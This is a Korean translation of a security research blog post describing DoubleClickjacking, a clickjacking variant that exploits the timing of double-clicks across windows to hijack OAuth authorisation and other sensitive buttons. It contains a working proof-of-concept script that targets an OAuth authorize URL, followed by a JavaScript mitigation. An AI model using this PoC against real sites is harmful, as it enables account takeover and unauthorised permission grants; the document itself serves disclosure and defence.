모의해킹 리서치

(한글번역) DoubleClickjacking : A New Era of UI Redressing

albino-mouse 2025. 7. 6. 20:47

https://www.evil.blog/2024/12/doubleclickjacking-what.html

 

Evil Blog - Hacking Research: DoubleClickjacking: A New Era of UI Redressing

data:blog.metaDescription

www.evil.blog

 

 

“클릭재킹(Clickjacking)”은 현대 브라우저들이 모든 쿠키를 기본적으로 “SameSite: Lax”로 설정하면서 점점 실용성이 떨어지고 있습니다. 공격자 사이트가 다른 웹사이트를 iframe으로 삽입할 수 있다 하더라도, 삽입된 웹사이트는 인증되지 않은 상태가 되며, 이는 교차 사이트 쿠키가 전송되지 않기 때문입니다. 대부분의 웹사이트에서 주요 기능은 인증을 필요로 하기 때문에, 이로 인해 클릭재킹 공격의 성공 가능성이 크게 줄어들게 됩니다.

더블클릭재킹(DoubleClickjacking)은 이러한 고전적인 기법의 변형으로, 단일 클릭에 의존하는 대신 더블클릭(두 번 클릭)을 유도하는 방식입니다. 얼핏 보면 사소한 변화처럼 보일 수 있지만, 이로 인해 기존의 모든 클릭재킹 방어 메커니즘(예: X-Frame-Options 헤더, Content-Security-Policy의 frame-ancestors, SameSite: Lax 또는 Strict 쿠키 설정)을 우회할 수 있는 새로운 UI 조작 공격의 가능성이 열립니다. 이 기법은 거의 모든 웹사이트에 영향을 미치는 것으로 보이며, 실제로 여러 주요 플랫폼에서 계정 탈취(Account Takeover)가 발생하고 있습니다.

 

근본 원인 (Root Cause)

DoubleClickjacking은 이벤트 순서와 타이밍의 미묘한 허점을 악용하는 기법입니다. 구체적인 흐름은 다음과 같습니다:

  1. 공격자는 초기 웹페이지를 생성하고, 그 안에 버튼을 배치합니다. 이 버튼은 클릭 시 새 창을 띄우도록 되어 있습니다.
    (또는 사용자 상호작용 없이 새 창을 열 수도 있습니다.)
  2. 사용자가 버튼을 클릭하면:
    • 새 창이 위에 열리면서 사용자에게 "더블 클릭하세요"라는 메시지를 표시합니다.
    • 이 새 창은 즉시 window.opener.location을 사용하여 부모 창의 위치를 목표 페이지(예: OAuth 인증 페이지)로 변경합니다.
    • 이제 부모 창은 목표 페이지를 포함하고 있으며, 상단에 열린 새 창은 여전히 더블 클릭하라는 메시지를 보여주고 있습니다.
    • (추가설명) 이로 인해 상황은 다음과 같이 구성됩니다:
      • 부모 창(parent window): 이제 타깃 페이지(예: 구글, 페이스북 등의 OAuth 인증 화면)가 로드되어 있음
      • 상단 창(top window): “더블클릭 하세요”라는 메시지를 보여주는 공격자 창
  3. 사용자가 상단 창에 표시된 대로 더블클릭을 시도하면:
    • 첫 번째 클릭(mousedown)이 발생할 때 상단 창은 즉시 닫힙니다.
    • 두 번째 클릭은 이제 노출된 부모 창 위에 있는 실제 인증 버튼(Authorize 버튼 등)에 정확히 위치하게 됩니다.
    • 결과적으로 사용자는 인지하지 못한 채로 공격자의 애플리케이션에 대해 임의의 권한(scope)을 가진 인증을 승인하게 됩니다.

 

간단히 말해서, DoubleClickjacking은 여러 창에서 첫 번째 클릭과 두 번째 클릭 사이의 짧은 간격을 이용하는 기법으로, 팝언더 트릭 같은 걸 쓰지 않습니다. 이것은 일종의 눈속임입니다. 공격자는 정당해 보이는 이유(예: "캡차 인증")로 새 창을 열거나 로드합니다. 그런 다음, 두 번째 클릭이 눌리기 직전에 악의적인 사이트는 같은 브라우저 세션에서 더 민감한 창(예: OAuth 인증 프롬프트)을 빠르게 바꿔 끼울 수 있고, 이로써 두 번째 클릭을 효과적으로 탈취할 수 있습니다. 이 “바꾸기”를 수행하는 방법은 여러 가지가 있으며, 내가 찾은 가장 신뢰할 수 있고 부드러운 방식은 window.open.location을 사용하는 것입니다. 이 공격에서 중요한 요소 중 하나는 mousedown 이벤트와 click 이벤트 사이의 타이밍 차이를 이용하는 것입니다 (click보다 mousedown을 선호합니다). mousedown 이벤트는 사용자가 마우스를 누르는 즉시 발생하지만, click 이벤트는 클릭 동작이 완전히 끝나야 발생하므로 몇 밀리초의 지연이 생기고, 이 시간을 공격에 활용할 수 있습니다. 놀라운 점 중 하나는 이 방식을 사용할 경우 대상 사용자가 더블 클릭을 얼마나 느리게 하든 빠르게 하든 관계가 없다는 것입니다. mousedown 이벤트 핸들러를 우선적으로 사용하면 가장 빠르거나 느린 더블 클릭 사용자에 대해서도 이 취약점을 악용할 수 있게 됩니다.

 

어떻게 악용될 수 있는가

OAuth 및 API 권한: 공격자는 사용자를 속여 악의적인 애플리케이션에 광범위한 권한을 부여하도록 만들 수 있습니다. 이 기술은 불행히도 거의 모든 OAuth를 지원하는 사이트에서 계정 탈취로 이어졌으며, 이는 사실상 API를 지원하는 주요 웹사이트 대부분에 해당됩니다. 그리고 만약 기적적으로 이 공격이 탐지되어 사용자가 악성 애플리케이션의 권한을 철회하려 하더라도, 이미 너무 늦었을 수 있습니다. 왜냐하면 이 앱은 권한이 부여되는 즉시 악성 동작을 수행할 수 있기 때문입니다.

 

원클릭 계정 변경: 고전적인 클릭재킹과 유사하게, DoubleClickjacking은 사용자가 계정 설정을 변경하도록 유도하는 데 사용할 수 있습니다. 예를 들어 보안 설정 비활성화, 계정 삭제, 접근 권한 부여 또는 금전 이체 승인, 거래 확인 등을 유도할 수 있습니다.

 

Proof of Concept (PoC) Code

다음은 이 취약점 유형에 대한 Proof of Concept (PoC)을 만들 수 있는 코드입니다.

<script>
function openDoubleWindow(url, top, left, width, height) {
    var evilWindow = window.open(window.location.protocol+"//"+
  		window.location.hostname+":"+
  		window.location.port+"/random", 
  	"_blank");

    evilWindow.onload = function() {
        evilWindow.document.open();

        //plugs the page to be hijacked as opener returnee
        evilWindow.document.write(`
            <script>
            setTimeout(function() { 
                opener.location = "${url}"; 
            }, 1000);

            </scri`+`pt>
            
            <div id="doubleclick" type="button" class="button" 
                style="top: ${top}px; left: ${left}px; width: ${width}px; height: ${height}px; position: absolute; font-size: 16px; color: white; background-color: #3498db; box-shadow: 5px 5px 10px rgba(0, 0, 0, 0.3); display: flex; justify-content: center; align-items: center; font-weight: bold; text-shadow: 1px 1px 2px rgba(0, 0, 0, 0.3); cursor: pointer; border-radius: 20px; text-align: center; padding: 0 5px; transition: all 0.3s ease;" onmouseover="this.style.backgroundColor='#2980b9'; this.style.boxShadow='6px 6px 12px rgba(0, 0, 0, 0.4)'; this.style.transform='scale(1.05)';" 
                onmouseout="this.style.backgroundColor='#3498db'; this.style.boxShadow='5px 5px 10px rgba(0, 0, 0, 0.3)'; this.style.transform='scale(1)';">Double Click Here</div>
<script>
      document.getElementById('doubleclick').addEventListener('mousedown', function() {
       window.close();
       });
       </scr`+`ipt>`);
        
        evilWindow.document.close();
    };
}
</script>

<!-- Replace value's below with the URL and top, left, width, height of a button you want to doublejack with -->

<button onclick="openDoubleWindow('https://target.com/oauth2/authorize?client_id=attacker',647, 588.5, 260, 43)">Start Demo</button>

 

url, top, left, width, height 값들을 당신이 더블클릭재킹하려는 특정 버튼 위치에 맞게 바꿔주세요.

 

https://youtu.be/4rGvRRMrD18

https://youtu.be/r7qpY74jtTw

 

 

왜 위험한가

클릭재킹 방어 우회: 대부분의 웹앱과 프레임워크는 한 번의 강제 클릭만을 위험 요소로 간주합니다. DoubleClickjacking은 기존 방어 체계가 처리하도록 설계되지 않은 추가적인 계층을 더합니다. 예를 들어, X-Frame-Options, SameSite 쿠키, 또는 CSP 같은 방법으로는 이 공격을 방어할 수 없습니다. 웹사이트만의 문제가 아님: 이 기술은 단순히 웹사이트뿐만 아니라 브라우저 확장 기능까지 공격하는 데도 사용할 수 있습니다. 예를 들어, 저는 이 기술을 사용해 Web3 거래 및 dApp을 승인하거나 VPN을 비활성화해 IP를 노출시키는 등, 주요 브라우저 암호화폐 지갑을 대상으로 한 PoC를 제작한 적이 있습니다. 이것은 또한 모바일 기기에서도 대상자에게 “더블탭”을 요구하는 방식으로 수행될 수 있습니다.

새로운 공격 표면: 이 기법은 웹 공격에 대한 새로운 기회를 만들어냅니다. 공격자의 웹사이트에서 한 번의 더블클릭만으로도 여러 플랫폼에서 심각한 결과를 초래할 수 있습니다.

극도로 광범위함: 제 테스트에 따르면, 기본 상태의 모든 웹사이트(아직 이 문제를 수정하지 않은 사이트)는 이 취약점에 의해 영향을 받습니다. OAuth 탈취 등 다양한 놀라운 결과가 발생할 수 있습니다. 저는 이 문제를 일부 사이트에 보고했으며, 결과는 엇갈렸습니다. 대부분은 이 문제를 수정하기로 결정했지만, 일부는 그렇지 않았습니다.

최소한의 사용자 상호작용: 이 공격은 대상자가 단순히 더블클릭만 하면 됩니다. 양식을 작성하거나 복잡한 여러 단계를 거칠 필요도 없습니다 (사이트가 창을 열 수 있다면, 또는 창을 열 수 있는 사이트에서 시작됐다면 가능).

P.S : 창은 브라우저 전체 위에 띄울 수도 있어서(탭 대신), 원래 열었던 페이지의 위치가 바뀌었다는 사실을 숨길 수 있습니다.

 

완화 방안

1. 클라이언트 측 보호
다음과 같은 JavaScript 기반 접근 방식은 사용자의 제스처(예: 마우스 움직임이나 키보드 사용)가 감지되지 않는 한, 중요한 버튼을 기본적으로 비활성화함으로써 DoubleClickjacking의 위험을 제거할 수 있습니다. 이 방법은 간단하면서도 매우 효과적입니다.

(function(){
    if (window.matchMedia && window.matchMedia("(hover: hover)").matches) {
        var buttons = document.querySelectorAll('form button, form input[type="submit"]');
        buttons.forEach(button => button.disabled = true);
        
        function enableButtons() {
            buttons.forEach(button => button.disabled = false);
        }
        
        document.addEventListener("mousemove", enableButtons);
        document.addEventListener("keydown", e => {
            if(e.key === "Tab") enableButtons();
        });
    }
})();

 

사용 방법은 매우 간단합니다. 민감한 페이지에 <script src=doubleclickjackingprotection.js></script>만 추가하면 끝입니다.

 

작동 방식

1. 페이지의 모든 제출/버튼 요소는 처음에 비활성화되어 있습니다.

2. 사용자는 실제로 의도된 상호작용을 보여주어야 합니다 — 예를 들어, 마우스를 움직이거나 Tab 키를 누르는 등의 제스처를 통해서만 버튼이 활성화됩니다.

3. 이렇게 하면 순전히 시뮬레이션되거나 속임수로 유도된 상호작용에 의존하는 공격을 막을 수 있습니다. 사용자의 두 번째 클릭이 더 이상 숨겨진 동작에 자동으로 작동하지 않게 됩니다.

4. 이 방법은 사용자 경험에 눈에 띄는 영향을 주지 않습니다. 사용자 입장에서는 아무런 변화 없이 모든 기능이 정상적으로 작동하는 것처럼 보입니다. 이 취약점 유형을 완화하기 위해 유사한 스크립트를 사용하는 대표적인 사이트들로는 DropBox, Stripe, GitHub 등이 있습니다. 이 공격은 이들 웹사이트에서 이런 식으로 차단됩니다. https://youtu.be/20XOSFTp7dQ

 

2. 장기적인 브라우저 차원의 해결책

장기적으로는 브라우저가 더블클릭 악용을 방어할 수 있는 새로운 표준을 채택해야 합니다 — 고전적인 iframe 기반 클릭재킹을 방어하기 위해 X-Frame-Options나 frame-ancestors가 사용되었던 것처럼 말입니다. 클릭재킹이 처음 발견된 2008년에도, 초기 완화 방법은 JavaScript였고, 이후 브라우저가 이 취약점 유형을 간단하게 완화할 수 있는 방법을 제공했습니다. 한 가지 예시로는 다음과 같은 특수한 HTTP 헤더를 도입하는 방식이 있을 수 있습니다:

Double-Click-Protection: strict

 

이 가상의 헤더는 브라우저에게 더블클릭 시퀀스 중 창 간의 빠른 컨텍스트 전환을 제한하거나 차단하라고 지시함으로써, 클릭 중간에 UI가 바뀌는 위험을 제거할 수 있습니다. 이와 유사한 또 다른 아이디어로는 CSP 헤더를 확장하여 이러한 시나리오를 포괄하는 것입니다.

 

개발자를 위한 최고의 연습

민감한 페이지에 보호용 라이브러리를 구현하세요! OAuth 범위 승인, 결제 확인, 기타 높은 권한이 요구되는 작업을 처리하는 모든 페이지에는 브라우저가 대응책을 제공할 때까지 방어용 스크립트를 포함해야 합니다.

 

결론

DoubleClickjacking은 잘 알려진 공격 유형을 교묘하게 우회하는 눈속임입니다. 클릭 사이의 이벤트 타이밍을 악용함으로써, 공격자는 순식간에 정상적인 UI 요소를 민감한 요소로 바꿔치기할 수 있습니다. 다음에 또 뵙겠습니다. 행운을 빕니다!

 

수정 : Jorian이 이 기술을 개선하기 위해 사용한 다양한 브라우저의 특성들(예: 어디를 클릭하든 공격이 트리거되도록 하는 방법 등)에 대해 쓴 글을 확인하려면 여기를 클릭하세요. https://jorianwoltjer.com/blog/p/research/ultimate-doubleclickjacking-poc